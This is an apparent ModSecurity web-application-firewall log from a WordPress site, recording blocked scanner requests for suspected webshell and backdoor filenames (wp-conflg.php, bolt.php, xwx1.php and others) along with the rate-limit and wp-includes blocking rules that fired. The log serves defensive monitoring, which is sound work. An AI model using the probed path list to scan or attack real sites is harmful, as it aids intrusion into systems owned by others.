[Thu Feb 26 22:25:24.936333 2026] [:error] [pid 55051:tid 55075] [client 4.194.131.131:3057] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaBX1AmK1w2kZvh5eLHQUAAAAJU"]
[Thu Feb 26 22:25:25.120402 2026] [:error] [pid 54991:tid 55037] [client 4.194.131.131:2340] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaBX1d4Zx-mJ8gbRB2j-1AAAAFE"]
[Thu Feb 26 22:25:25.276109 2026] [:error] [pid 44444:tid 44458] [client 20.151.107.14:64233] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aaBX1W2sMNmj-yekUk1OUQAAAgg"]
[Thu Feb 26 22:25:25.298098 2026] [:error] [pid 44444:tid 44467] [client 4.194.131.131:3013] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaBX1W2sMNmj-yekUk1OUgAAAhE"]
[Thu Feb 26 22:25:25.485676 2026] [:error] [pid 44444:tid 44452] [client 4.194.131.131:2062] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaBX1W2sMNmj-yekUk1OVwAAAgI"]
[Thu Feb 26 22:25:25.658790 2026] [:error] [pid 44444:tid 44465] [client 4.194.131.131:2061] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaBX1W2sMNmj-yekUk1OWgAAAg8"]
[Thu Feb 26 22:25:25.725897 2026] [:error] [pid 44444:tid 44464] [client 20.151.107.14:64239] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aaBX1W2sMNmj-yekUk1OWwAAAg4"]
[Thu Feb 26 22:25:25.862694 2026] [:error] [pid 44444:tid 44463] [client 4.194.131.131:3064] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaBX1W2sMNmj-yekUk1OYAAAAg0"]
[Thu Feb 26 22:25:26.295633 2026] [:error] [pid 55051:tid 55055] [client 20.151.107.14:61342] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aaBX1gmK1w2kZvh5eLHQVAAAAIE"]
[Thu Feb 26 22:25:26.798179 2026] [:error] [pid 55051:tid 55060] [client 20.151.107.14:63550] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aaBX1gmK1w2kZvh5eLHQWwAAAIY"]
[Thu Feb 26 22:25:27.318138 2026] [:error] [pid 54991:tid 55042] [client 20.151.107.14:63571] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aaBX194Zx-mJ8gbRB2j-1QAAAFY"]
[Thu Feb 26 22:25:27.878031 2026] [:error] [pid 20419:tid 20432] [client 20.151.107.14:63519] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aaBX1-3DVDvMfTYYUBVogQAAAco"]
[Thu Feb 26 22:25:28.594551 2026] [:error] [pid 54991:tid 55025] [client 20.151.107.14:62952] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aaBX2N4Zx-mJ8gbRB2j-3AAAAEU"]
[Thu Feb 26 22:25:29.099878 2026] [:error] [pid 3883:tid 3897] [client 20.151.107.14:62927] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aaBX2eA33x90V6yYHaj2sQAAAUs"]
[Thu Feb 26 22:25:29.656166 2026] [:error] [pid 55051:tid 55061] [client 20.151.107.14:63518] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aaBX2QmK1w2kZvh5eLHQaAAAAIc"]
[Thu Feb 26 22:25:30.290153 2026] [:error] [pid 25311:tid 25316] [client 20.151.107.14:62873] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aaBX2tfdM__yZAgJFSvr6wAAAYI"]
[Thu Feb 26 22:25:30.797126 2026] [:error] [pid 55051:tid 55066] [client 20.151.107.14:63500] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aaBX2gmK1w2kZvh5eLHQcAAAAIw"]
[Thu Feb 26 22:25:31.370506 2026] [:error] [pid 25311:tid 25335] [client 20.151.107.14:62890] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aaBX29fdM__yZAgJFSvr7AAAAZU"]
[Thu Feb 26 22:25:31.977141 2026] [:error] [pid 20419:tid 20432] [client 20.151.107.14:64212] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aaBX2-3DVDvMfTYYUBVolAAAAco"]
[Thu Feb 26 22:25:33.081564 2026] [:error] [pid 55618:tid 55640] [client 20.151.107.14:64132] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaBX3R61Vrh12f_8oWQUwwAAARM"]
[Thu Feb 26 22:25:33.630914 2026] [:error] [pid 3883:tid 3894] [client 20.151.107.14:62930] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aaBX3eA33x90V6yYHaj2twAAAUg"]
[Thu Feb 26 22:25:34.089116 2026] [:error] [pid 44444:tid 44455] [client 20.151.107.14:63595] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aaBX3m2sMNmj-yekUk1OegAAAgU"]
[Thu Feb 26 22:25:34.595847 2026] [:error] [pid 44444:tid 44464] [client 20.151.107.14:61417] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aaBX3m2sMNmj-yekUk1OfgAAAg4"]
[Thu Feb 26 22:25:35.056488 2026] [:error] [pid 44444:tid 44463] [client 20.151.107.14:63542] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aaBX322sMNmj-yekUk1OgwAAAg0"]
[Thu Feb 26 22:25:35.532035 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:62859] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aaBX322sMNmj-yekUk1OiQAAAgc"]
[Thu Feb 26 22:25:35.995609 2026] [:error] [pid 54990:tid 55003] [client 20.151.107.14:63522] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aaBX33tr2qmt_mBhH2wvYwAAAAo"]
[Thu Feb 26 22:25:36.941880 2026] [:error] [pid 54991:tid 55040] [client 20.151.107.14:64143] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aaBX4N4Zx-mJ8gbRB2j-7wAAAFQ"]
[Thu Feb 26 22:25:37.585711 2026] [:error] [pid 20419:tid 20435] [client 20.151.107.14:61373] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aaBX4e3DVDvMfTYYUBVonwAAAc0"]
[Thu Feb 26 22:25:38.382840 2026] [:error] [pid 44444:tid 44467] [client 20.151.107.14:62964] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aaBX4m2sMNmj-yekUk1OnAAAAhE"]
[Thu Feb 26 22:25:38.994808 2026] [:error] [pid 20419:tid 20446] [client 20.151.107.14:62968] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/radio.php"] [unique_id "aaBX4u3DVDvMfTYYUBVopAAAAdg"]
[Thu Feb 26 22:25:39.656906 2026] [:error] [pid 44444:tid 44464] [client 20.151.107.14:63545] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/radio.php"] [unique_id "aaBX422sMNmj-yekUk1OpgAAAg4"]
[Thu Feb 26 22:25:40.283997 2026] [:error] [pid 20419:tid 20429] [client 20.151.107.14:63494] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/radio.php"] [unique_id "aaBX5O3DVDvMfTYYUBVoqAAAAcc"]
[Thu Feb 26 22:25:40.784901 2026] [:error] [pid 44444:tid 44474] [client 20.151.107.14:64177] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/radio.php"] [unique_id "aaBX5G2sMNmj-yekUk1OrQAAAhg"]
[Thu Feb 26 22:25:41.577814 2026] [:error] [pid 25311:tid 25338] [client 20.151.107.14:62876] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aaBX5dfdM__yZAgJFSvr_gAAAZg"]
[Thu Feb 26 22:25:42.067904 2026] [:error] [pid 25311:tid 25335] [client 20.151.107.14:62940] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aaBX5tfdM__yZAgJFSvsAAAAAZU"]
[Thu Feb 26 22:25:42.879410 2026] [:error] [pid 54991:tid 55034] [client 20.151.107.14:63553] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aaBX5t4Zx-mJ8gbRB2j-9AAAAE4"]
[Thu Feb 26 22:25:43.422905 2026] [:error] [pid 54991:tid 55020] [client 20.151.107.14:64164] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aaBX594Zx-mJ8gbRB2j-9wAAAEA"]
[Thu Feb 26 22:25:44.271633 2026] [:error] [pid 54991:tid 55021] [client 20.151.107.14:61332] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aaBX6N4Zx-mJ8gbRB2j-_gAAAEE"]
[Thu Feb 26 22:25:44.707521 2026] [:error] [pid 54991:tid 55030] [client 20.151.107.14:62936] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/"] [unique_id "aaBX6N4Zx-mJ8gbRB2j_AgAAAEo"]
[Thu Feb 26 22:25:45.649728 2026] [:error] [pid 20419:tid 20439] [client 20.151.107.14:60796] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/"] [unique_id "aaBX6e3DVDvMfTYYUBVotQAAAdE"]
[Thu Feb 26 22:25:46.205267 2026] [:error] [pid 54991:tid 55044] [client 20.151.107.14:64241] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/"] [unique_id "aaBX6t4Zx-mJ8gbRB2j_CQAAAFg"]
[Thu Feb 26 22:25:46.835705 2026] [:error] [pid 25311:tid 25322] [client 20.151.107.14:63504] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/"] [unique_id "aaBX6tfdM__yZAgJFSvsDgAAAYg"]
[Thu Feb 26 22:25:47.328162 2026] [:error] [pid 54991:tid 55038] [client 4.194.131.131:2829] [client 4.194.131.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.131.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaBX694Zx-mJ8gbRB2j_CwAAAFI"]
[Thu Feb 26 22:25:47.709163 2026] [:error] [pid 54991:tid 55022] [client 20.151.107.14:61436] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/images/"] [unique_id "aaBX694Zx-mJ8gbRB2j_DQAAAEI"]
[Thu Feb 26 22:25:48.391698 2026] [:error] [pid 20419:tid 20424] [client 4.194.131.131:2713] [client 4.194.131.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaBX7O3DVDvMfTYYUBVowAAAAcI"]
[Thu Feb 26 22:25:48.479587 2026] [:error] [pid 55122:tid 55127] [client 20.151.107.14:62924] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/images/"] [unique_id "aaBX7ILiR0OfjFxvcN82dQAAAMM"]
[Thu Feb 26 22:25:49.031403 2026] [:error] [pid 20419:tid 20431] [client 20.151.107.14:63580] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/images/"] [unique_id "aaBX7e3DVDvMfTYYUBVoxAAAAck"]
[Thu Feb 26 22:25:49.562039 2026] [:error] [pid 20419:tid 20434] [client 20.151.107.14:61425] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/images/"] [unique_id "aaBX7e3DVDvMfTYYUBVoxwAAAcw"]
[Thu Feb 26 22:25:50.191567 2026] [:error] [pid 55051:tid 55071] [client 20.151.107.14:63529] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaBX7gmK1w2kZvh5eLHQhwAAAJE"]
[Thu Feb 26 22:25:50.643268 2026] [:error] [pid 3883:tid 3898] [client 20.151.107.14:64144] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaBX7uA33x90V6yYHaj2vQAAAUw"]
[Thu Feb 26 22:25:51.147602 2026] [:error] [pid 44444:tid 44450] [client 20.151.107.14:62957] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaBX722sMNmj-yekUk1O0QAAAgA"]
[Thu Feb 26 22:25:51.181575 2026] [:error] [pid 3883:tid 3907] [client 4.194.131.131:2737] [client 4.194.131.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaBX7-A33x90V6yYHaj2wQAAAVU"]
[Thu Feb 26 22:25:51.358175 2026] [:error] [pid 44444:tid 44474] [client 4.194.131.131:3032] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aaBX722sMNmj-yekUk1O1AAAAhg"]
[Thu Feb 26 22:25:51.536480 2026] [:error] [pid 25311:tid 25315] [client 4.194.131.131:3010] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aaBX79fdM__yZAgJFSvsHwAAAYE"]
[Thu Feb 26 22:25:51.699200 2026] [:error] [pid 25311:tid 25332] [client 20.151.107.14:64152] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaBX79fdM__yZAgJFSvsIAAAAZI"]
